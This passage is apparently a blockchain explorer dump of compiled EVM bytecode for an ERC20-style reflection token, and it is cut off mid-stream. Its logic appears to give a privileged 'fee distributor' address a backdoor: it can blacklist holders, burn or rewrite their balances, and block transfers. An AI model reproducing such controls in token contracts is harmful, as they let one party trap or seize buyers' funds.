28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610bee611291565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c72906127e2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cd657600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060038054610da8906125fa565b80601f0160208091040260200160405190810160405280929190818152602001828054610dd4906125fa565b8015610e215780601f10610df657610100808354040283529160200191610e21565b820191906000526020600020905b815481529060010190602001808311610e0457829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ebb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb290612678565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2290612874565b60405180910390fd5b610f5881604051806060016040528060228152602001612e9e6022913984611c1e9092919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611030576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102790612678565b60405180910390fd5b6001600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600061114e611098611291565b8461114985604051806060016040528060258152602001612f0e60259139600560006110c2611291565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c1e9092919063ffffffff16565b61134f565b6001905092915050565b600061116c611165611291565b848461151a565b6001905092915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600061123f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611cad565b905092915050565b600061128983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c1e565b905092915050565b600033905090565b60008060008060008060006112ad88611d10565b9150915060006112bb611c82565b905060008060006112cd8c8686611d62565b92509250925082828288889a509a509a509a509a5050505050505091939590929450565b600080828461130091906128c3565b905083811015611345576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133c90612965565b60405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b6906129f7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561142f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142690612a89565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161150d919061236b565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561158a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158190612b1b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f190612bad565b60405180910390fd5b6000811161163d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163490612c3f565b60405180910390fd5b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806116de5750600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156117275760008114611726576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171d90612c85565b60405180910390fd5b5b60011515600f60009054906101000a900460ff161515148061177b575061174c611dc0565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806117b85750611789611dc0565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611bc257600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156118605750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611a13576118d181604051806060016040528060268152602001612ec060269139600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c1e9092919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061196681600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112f190919063ffffffff16565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611a06919061236b565b60405180910390a3611bbd565b611a7f81604051806060016040528060268152602001612ec060269139600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c1e9092919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b1481600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112f190919063ffffffff16565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611bb4919061236b565b60405180910390a35b611c19565b60011515600f60009054906101000a900460ff16151514611c18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c0f90612c85565b60405180910390fd5b5b505050565b6000838311158290611c66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c5d9190612239565b60405180910390fd5b5060008385611c759190612ca5565b9050809150509392505050565b6000806000611c8f611dea565b91509150611ca681836111fd90919063ffffffff16565b9250505090565b60008083118290611cf4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ceb9190612239565b60405180910390fd5b5060008385611d039190612d08565b9050809150509392505050565b6000806000611d3c6003611d2e6064876111fd90919063ffffffff16565b6120bd90919063ffffffff16565b90506000611d53828661124790919063ffffffff16565b90508082935093505050915091565b600080600080611d7b85886120bd90919063ffffffff16565b90506000611d9286886120bd90919063ffffffff16565b90506000611da9828461124790919063ffffffff16565b905082818395509550955050505093509350939050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000806000600e549050600069014542ba12a337c00000905060005b600b80549050811015612070578260076000600b8481548110611e2c57611e2b612d39565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180611f1a57508160086000600b8481548110611eb257611eb1612d39565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15611f3957600e5469014542ba12a337c00000945094505050506120b9565b611fc960076000600b8481548110611f5457611f53612d39565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461124790919063ffffffff16565b925061205b60086000600b8481548110611fe657611fe5612d39565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361124790919063ffffffff16565b9150808061206890612d68565b915050611e06565b5061209069014542ba12a337c00000600e546111fd90919063ffffffff16565b8210156120b057600e5469014542ba12a337c000009350935050506120b9565b81819350935050505b9091565b6000808314156120d05760009050612132565b600082846120de9190612db1565b90508284826120ed9190612d08565b1461212d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161212490612e7d565b60405180910390fd5b809150505b92915050565b600080fd5b6000819050919050565b6121508161213d565b811461215b57600080fd5b50565b60008135905061216d81612147565b92915050565b60006020828403121561218957612188612138565b5b60006121978482850161215e565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156121da5780820151818401526020810190506121bf565b838111156121e9576000848401525b50505050565b6000601f19601f8301169050919050565b600061220b826121a0565b61221581856121ab565b93506122258185602086016121bc565b61222e816121ef565b840191505092915050565b600060208201905081810360008301526122538184612200565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006122868261225b565b9050919050565b6122968161227b565b81146122a157600080fd5b50565b6000813590506122b38161228d565b92915050565b600080604083850312156122d0576122cf612138565b5b60006122de858286016122a4565b92505060206122ef8582860161215e565b9150509250929050565b60008115159050919050565b61230e816122f9565b82525050565b60006020820190506123296000830184612305565b92915050565b60006020828403121561234557612344612138565b5b6000612353848285016122a4565b91505092915050565b6123658161213d565b82525050565b6000602082019050612380600083018461235c565b92915050565b60008060006060848603121561239f5761239e612138565b5b60006123ad868287016122a4565b93505060206123be868287016122a4565b92505060406123cf8682870161215e565b9150509250925092565b600060ff82169050919050565b6123ef816123d9565b82525050565b600060208201905061240a60008301846123e6565b92915050565b612419816122f9565b811461242457600080fd5b50565b60008135905061243681612410565b92915050565b6000806040838503121561245357612452612138565b5b60006124618582860161215e565b925050602061247285828601612427565b9150509250929050565b6124858161227b565b82525050565b60006020820190506124a0600083018461247c565b92915050565b6000806000606084860312156124bf576124be612138565b5b60006124cd868287016122a4565b93505060206124de8682870161215e565b92505060406124ef8682870161215e565b9150509250925092565b600080604083850312156125105761250f612138565b5b600061251e858286016122a4565b925050602061252f858286016122a4565b9150509250929050565b7f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460008201527f6869732066756e6374696f6e0000000000000000000000000000000000000000602082015250565b6000612595602c836121ab565b91506125a082612539565b604082019050919050565b600060208201905081810360008301526125c481612588565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061261257607f821691505b60208210811415612626576126256125cb565b5b50919050565b7f43616c6c6572206973206e6f7420666565206469737472696275746f72000000600082015250565b6000612662601d836121ab565b915061266d8261262c565b602082019050919050565b6000602082019050818103600083015261269181612655565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006126f4602a836121ab565b91506126ff82612698565b604082019050919050565b60006020820190508181036000830152612723816126e7565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20737570706c7900600082015250565b6000612760601f836121ab565b915061276b8261272a565b602082019050919050565b6000602082019050818103600083015261278f81612753565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006127cc6020836121ab565b91506127d782612796565b602082019050919050565b600060208201905081810360008301526127fb816127bf565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7320646973616c6c6f7765640000000000000000000000000000000000000000602082015250565b600061285e602c836121ab565b915061286982612802565b604082019050919050565b6000602082019050818103600083015261288d81612851565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006128ce8261213d565b91506128d98361213d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561290e5761290d612894565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061294f601b836121ab565b915061295a82612919565b602082019050919050565b6000602082019050818103600083015261297e81612942565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006129e16024836121ab565b91506129ec82612985565b604082019050919050565b60006020820190508181036000830152612a10816129d4565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612a736022836121ab565b9150612a7e82612a17565b604082019050919050565b60006020820190508181036000830152612aa281612a66565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612b056025836121ab565b9150612b1082612aa9565b604082019050919050565b60006020820190508181036000830152612b3481612af8565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612b976023836121ab565b9150612ba282612b3b565b604082019050919050565b60006020820190508181036000830152612bc681612b8a565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000612c296029836121ab565b9150612c3482612bcd565b604082019050919050565b60006020820190508181036000830152612c5881612c1c565b9050919050565b50565b6000612c6f6000836121ab565b9150612c7a82612c5f565b600082019050919050565b60006020820190508181036000830152612c9e81612c62565b9050919050565b6000612cb08261213d565b9150612cbb8361213d565b925082821015612cce57612ccd612894565b5b828203905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612d138261213d565b9150612d1e8361213d565b925082612d2e57612d2d612cd9565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000612d738261213d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612da657612da5612894565b5b600182019050919050565b6000612dbc8261213d565b9150612dc78361213d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612e0057612dff612894565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612e676021836121ab565b9150612e7282612e0b565b604082019050919050565b60006020820190508181036000830152612e9681612e5a565b905091905056fe45524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220339b84d89bafa1214a38b7cbf579c0510dc185e504df3c9c14c665d64f732add64736f6c634300080800330000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101425760003560e01c806370a08231116100b857806395d89b411161007c57806395d89b411461038b57806396bd7a80146103a957806397541e9f146103c5578063a457c2d7146103e1578063a9059cbb14610411578063dd62ed3e1461044157610142565b806370a08231146102e7578063715018a61461031757806375619ab51461032157806383252a311461033d5780638da5cb5b1461036d57610142565b806318160ddd1161010a57806318160ddd146101eb57806323b872dd146102095780632d83811914610239578063313ce5671461026957806339509351146102875780634549b039146102b757610142565b8063053ab1821461014757806306fdde0314610163578063095ea7b3146101815780630f78bf9a146101b1578063158ef93e146101cd575b600080fd5b610161600480360381019061015c9190612173565b610471565b005b61016b6105eb565b6040516101789190612239565b60405180910390f35b61019b600480360381019061019691906122b9565b61067d565b6040516101a89190612314565b60405180910390f35b6101cb60048036038101906101c6919061232f565b61069b565b005b6101d5610786565b6040516101e29190612314565b60405180910390f35b6101f361079d565b604051610200919061236b565b60405180910390f35b610223600480360381019061021e9190612386565b6107af565b6040516102309190612314565b60405180910390f35b610253600480360381019061024e9190612173565b610888565b604051610260919061236b565b60405180910390f35b6102716108f6565b60405161027e91906123f5565b60405180910390f35b6102a1600480360381019061029c91906122b9565b61090d565b6040516102ae9190612314565b60405180910390f35b6102d160048036038101906102cc919061243c565b6109c0565b6040516102de919061236b565b60405180910390f35b61030160048036038101906102fc919061232f565b610a4a565b60405161030e919061236b565b60405180910390f35b61031f610a93565b005b61033b6004803603810190610336919061232f565b610be6565b005b6103576004803603810190610352919061232f565b610d1a565b6040516103649190612314565b60405180910390f35b610375610d70565b604051610382919061248b565b60405180910390f35b610393610d99565b6040516103a09190612239565b60405180910390f35b6103c360048036038101906103be91906124a6565b610e2b565b005b6103df60048036038101906103da919061232f565b610fa0565b005b6103fb60048036038101906103f691906122b9565b61108b565b6040516104089190612314565b60405180910390f35b61042b600480360381019061042691906122b9565b611158565b6040516104389190612314565b60405180910390f35b61045b600480360381019061045691906124f9565b611176565b604051610468919061236b565b60405180910390f35b600061047b611291565b9050600a60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561050a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610501906125ab565b60405180910390fd5b600061051583611299565b50505050905061056d81600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461124790919063ffffffff16565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506105c581600e5461124790919063ffffffff16565b600e819055506105e083600c546112f190919063ffffffff16565b600c81905550505050565b6060600280546105fa906125fa565b80601f0160208091040260200160405190810160405280929190818152602001828054610626906125fa565b80156106735780601f1061064857610100808354040283529160200191610673565b820191906000526020600020905b81548152906001019060200180831161065657829003601f168201915b5050505050905090565b600061069161068a611291565b848461134f565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461072b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072290612678565b60405180910390fd5b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600f60009054906101000a900460ff16905090565b600069014542ba12a337c00000905090565b60006107bc84848461151a565b61087d846107c8611291565b61087885604051806060016040528060288152602001612ee660289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061082e611291565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c1e9092919063ffffffff16565b61134f565b600190509392505050565b6000600e548211156108cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c69061270a565b60405180910390fd5b60006108d9611c82565b90506108ee81846111fd90919063ffffffff16565b915050919050565b6000600460009054906101000a900460ff16905090565b60006109b661091a611291565b846109b1856005600061092b611291565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112f190919063ffffffff16565b61134f565b6001905092915050565b600069014542ba12a337c00000831115610a0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0690612776565b60405180910390fd5b81610a2e576000610a1f84611299565b50505050905080915050610a44565b6000610a3984611299565b505050915050809150505b92915050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610a9b611291565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b1f906127e2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610bee611291565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c72906127e2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cd657600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060038054610da8906125fa565b80601f0160208091040260200160405190810160405280929190818152602001828054610dd4906125fa565b8015610e215780601f10610df657610100808354040283529160200191610e21565b820191906000526020600020905b815481529060010190602001808311610e0457829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ebb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb290612678565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2290612874565b60405180910390fd5b610f5881604051806060016040528060228152602001612e9e6022913984611c1e9092919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611030576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102790612678565b60405180910390fd5b6001600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600061114e611098611291565b8461114985604051806060016040528060258152602001612f0e60259139600560006110c2611291565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c1e9092919063ffffffff16565b61134f565b6001905092915050565b600061116c611165611291565b848461151a565b6001905092915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600061123f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611cad565b905092915050565b600061128983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c1e565b905092915050565b600033905090565b60008060008060008060006112ad88611d10565b9150915060006112bb611c82565b905060008060006112cd8c8686611d62565b92509250925082828288889a509a509a509a509a5050505050505091939590929450565b600080828461130091906128c3565b905083811015611345576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133c90612965565b60405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b6906129f7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561142f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142690612a89565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161150d919061236b565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561158a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158190612b1b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f190612bad565b60405180910390fd5b6000811161163d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163490612c3f565b60405180910390fd5b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806116de5750600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156117275760008114611726576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171d90612c85565b60405180910390fd5b5b60011515600f60009054906101000a900460ff161515148061177b575061174c611dc0565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806117b85750611789611dc0565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611bc257600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156118605750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611a13576118d181604051806060016040528060268152602001612ec060269139600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c1e9092919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061196681600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112f190919063ffffffff16565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611a06919061236b565b60405180910390a3611bbd565b611a7f81604051806060016040528060268152602001612ec060269139600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c1e9092919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b1481600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112f190919063ffffffff16565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611bb4919061236b565b60405180910390a35b611c19565b60011515600f60009054906101000a900460ff16151514611c18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c0f90612c85565b60405180910390fd5b5b505050565b6000838311158290611c66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c5d9190612239565b60405180910390fd5b5060008385611c759190612ca5565b9050809150509392505050565b6000806000611c8f611dea565b91509150611ca681836111fd90919063ffffffff16565b9250505090565b60008083118290611cf4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ceb9190612239565b60405180910390fd5b5060008385611d039190612d08565b9050809150509392505050565b6000806000611d3c6003611d2e6064876111fd90919063ffffffff16565b6120bd90919063ffffffff16565b90506000611d53828661124790919063ffffffff16565b90508082935093505050915091565b600080600080611d7b85886120bd90919063ffffffff16565b90506000611d9286886120bd90919063ffffffff16565b90506000611da98284611247